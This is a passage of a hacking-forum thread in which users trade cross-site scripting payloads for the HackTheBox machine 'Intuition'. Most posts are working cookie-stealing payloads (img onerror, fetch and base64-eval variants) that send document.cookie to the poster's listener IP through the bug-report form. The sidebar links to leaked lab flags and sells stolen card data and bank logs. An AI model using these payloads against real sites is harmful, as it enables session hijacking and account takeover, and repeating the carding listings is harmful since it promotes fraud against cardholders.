Temporary Advertisements:
Ad
Ad
Ad
HTB- Intuition
by trevor69000 - Saturday April 27, 2024 at 06:46 PM
#21
(Apr 27, 2024, 10:00 PM)3kyy Wrote:
(Apr 27, 2024, 09:38 PM)xxxbfacc Wrote: cookie from report_bugs via img tag xss

<img src=x onerror="location.href='10.10.14.8:8888/?c='+ document.cookie">
<script>var i=new Image(); i.src="http://10.10.14.8/?cookie="+btoa(document.cookie);</script>
<script>var i=new Image();i.src="http://10.10.14.8:8888/?c="+document.cookie</script>

dont work for me, and I tried with CSP bypass:

worked ? .............................................................

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed
Reply
#22
Anything with priv esc? Got nothing with linpeas or manual enumeration
Reply
#23
(Apr 27, 2024, 10:37 PM)andlommy Wrote: <img src=x onerror="eval(atob('')">

works
payload is regular fetch with document cookie in url

tried multiple payloads, none of them work, is there anything we need to do before submitting the bug report with the paylond in it? which parameter is affected? 
i tried in both params these payloads and none worked...:
<img src=x onerror=eval(atob(this.id)) id=ZmV0Y2goJ2h0dHA6Ly8xMC4xMC4xNC44Ni8/Y29va2llPScrZG9jdW1lbnQuY29va2llKQo=>
<img src="fetch('http://10.10.14.86:80/?cookie='+document.cookie); " onerror="xss(1)">
<img src=x onerror="eval(fetch('http://10.10.14.86:80/?cookie='+document.cookie))">
<img src="non-existing-image.png" onerror="fetch('http://10.10.14.86/?cookie='+document.cookie);" />
<img src=https://github.com/favicon.ico width=0 height=0 onload=this.src='http://10.10.14.86/?'+document.cookie>
Reply
#24
"payload is regular fetch with document cookie in url "

I do not understand.

Like this?

<img src=x onerror="eval(atob('fetch('http://SERVER/?cookie='+document.cookie)')"> but in b64 payload?
Reply
#25
Ok. I'm taking a break for a bit. But I'll leave this tidbit.
You need to steal more than one cookie...
Reply
#26
report_title=xxx&description=<img src=x onerror=eval(atob('ZmV0Y2goJ2h0dHA6Ly9TRVJWRVI/Y29va2llPScrZG9jdW1lbnQuY29va2llKQ=='))>

Like this?? I cannot get it to work.
Reply
#27
anyone help us xss not work why

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed
Reply
#28
Yeah I am really confused. Seems pretty straight forward. Just modifying the:
"POST /report_bug
report_title=xxx&description=xxx"
correct? It redirects and I see nothing in my server.
Reply
#29
pdf generator seems rabbit holey.
But I'm probably just missing something...
Reply
#30
(Apr 28, 2024, 12:54 AM)xxxbfacc Wrote: pdf generator seems rabbit holey.
But I'm probably just missing something...

bro what payload for xss

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  WE ARE BACK JUST LIKE LEGENDZFORUM GUYZ.OUR TELEGRAM https://t.me/rayhush Hit me up goagaintodds 0 67 6 hours ago
Last Post: goagaintodds
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 457 121,992 Today, 05:21 AM
Last Post: jiqmug
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 166 35,017 Today, 03:09 AM
Last Post: meomeothantai
  CC,CVV,VBV,NON VBV ,DUMPS ,FULLZ,BANK LOGS (FULL INFO) BEST LINKABLES @RICKBUTLER Ballerwailer4G 0 121 Yesterday, 11:06 PM
Last Post: Ballerwailer4G
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 110 14,444 Yesterday, 06:21 PM
Last Post: Kazahk

Forum Jump:


 Users browsing this forum: 1 Guest(s)